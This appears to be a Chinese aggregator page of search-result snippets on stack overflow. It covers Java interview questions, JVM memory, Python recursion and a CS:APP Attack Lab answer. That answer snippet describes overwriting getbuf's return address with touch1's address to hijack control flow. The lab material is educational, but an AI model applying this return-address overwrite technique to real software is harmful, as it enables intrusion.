    16:30开始的一面。面试30分钟,面完5分钟之内收到感谢信。 面试内容 final关键字修饰 写的时候没有遇到过?...什么情况下会栈溢出?内存溢出和内存泄漏什么区别 ...使变量拥有可见性,volatile底层...如何让对象线程...
  • 3-Attack Lab

    2020-07-22 15:46:17
    利用栈溢出覆盖getbuf函数的返回地址 答案 前五行是正常写入buf的数据,第六行是touch1的地址0x4017c0,用于覆盖getbuf()函数的正常返回地址。注意写入的数据不能是0x0a,这个数字表述“\n”,Get()函数遇到0xa会终止...
  • 因为数太大一定会溢出,所以找规律,发现最多n²会出现重复。...注意unsigned long long 不要在while循环里写,不然会栈溢出。 此外通过此题,还学会了如何用位运算求a的b次幂。 if(b&1){ ...
  • 无限制的调用方法是如何让线程的内存溢出的?一个线程调用多个方法的入栈和出栈下图是一个相对较为完整的JVM运行原理图,如下所示:看下面的代码:按照我们之前所说的,JVM启动之后,HelloWorld类被加载到了内存里...
  • python的递归函数

    2018-08-25 10:14:52
    python的递归函数:Recursive Function。 通俗一点说,递归函数的意思就是在...3、递归函数过深的调用会导致栈溢出,这一点要小心。 以下举了几个例子说明递归函数是如何实现的: 一、需求:1+2+3+4+…+100=? ...

空空如也

空空如也

1 2 3 4
收藏数 68
精华内容 27
关键字:

如何让栈溢出